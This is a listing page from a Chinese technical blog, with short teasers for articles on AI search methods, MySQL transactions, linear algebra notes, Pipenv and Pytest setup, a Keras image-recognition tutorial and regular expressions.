文章目录 上一篇搜索概述一般图搜索盲目搜索下一篇 上一篇 人工智能原理复习–确定性推理 搜索概述 问题求解分为两大类&#xff1a;知识贫乏系统&#xff08;依靠搜索技术解决&#xff09;、知识丰富系统&#xff08;依靠推理技术&#xff09; 两大类搜索技术&#xff1a; …
阅读更多...
2023.12.7 关于 MySQL 事务详解

2023.12.7 关于 MySQL 事务详解

目录 事务的四大特性 原子性 一致性 持久性 隔离性 事务并发执行 脏读 不可重复读 幻读 四个隔离级别 read uncommitted read committed repeatable read serializable 事务的四大特性 原子性 一个事务中的所有操作&#xff0c;要么全部完成&#xff0c;要么全部…
阅读更多...
MIT线性代数笔记-第26讲-复习二

MIT线性代数笔记-第26讲-复习二

目录 26.对称矩阵及正定性打赏 26.对称矩阵及正定性 实对称矩阵的特征值均为实数&#xff0c;并且一定存在一组两两正交的特征向量 这对于单位矩阵显然成立 证明特征值均为实数&#xff1a; ​    设一个对称矩阵 A A A&#xff0c;对于 A x ⃗ λ x ⃗ A \vec{x} \lambda…
阅读更多...
Pipenv环境配置+Pytest运行

Pipenv环境配置+Pytest运行

环境配置 使用Pipenv进行虚拟环境管理&#xff0c;Pipfile为依赖模块管理文件。 安装pipenv&#xff1a;brew install pipenv根项目根目录下执行命令创建虚拟环境&#xff1a; pipenv install在Pycharm中指定项目运行的虚拟环境 &#xff1a;File->Settings->Project:-…
阅读更多...
好莱坞明星识别

好莱坞明星识别

一、前期工作 1. 设置GPU from tensorflow import keras from tensorflow.keras import layers,models import os, PIL, pathlib import matplotlib.pyplot as plt import tensorflow as tfgpus tf.config.list_physical_devices("GPU")if gpus:gpu0 …
阅读更多...
【夯实技术基本功】「底层技术原理体系」全方位带你认识和透彻领悟正则表达式(Regular Expression)的开发手册（正则表达式定义 ）

【夯实技术基本功】「底层技术原理体系」全方位带你认识和透彻领悟正则表达式(Regular Expression)的开发手册（正则表达式定义 ）

【夯实技术基本功】「底层技术原理体系」全方位带你认识和透彻领悟正则表达式的开发手册 前提介绍正则表达式正则表达式的历史正则表达式的定义正则表达式的组成普通字符非打印字符特殊字符限定符限定符案例分析贪婪匹配/非贪婪匹配方式 定位符选择组合符后向引用 总结心得 前提…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023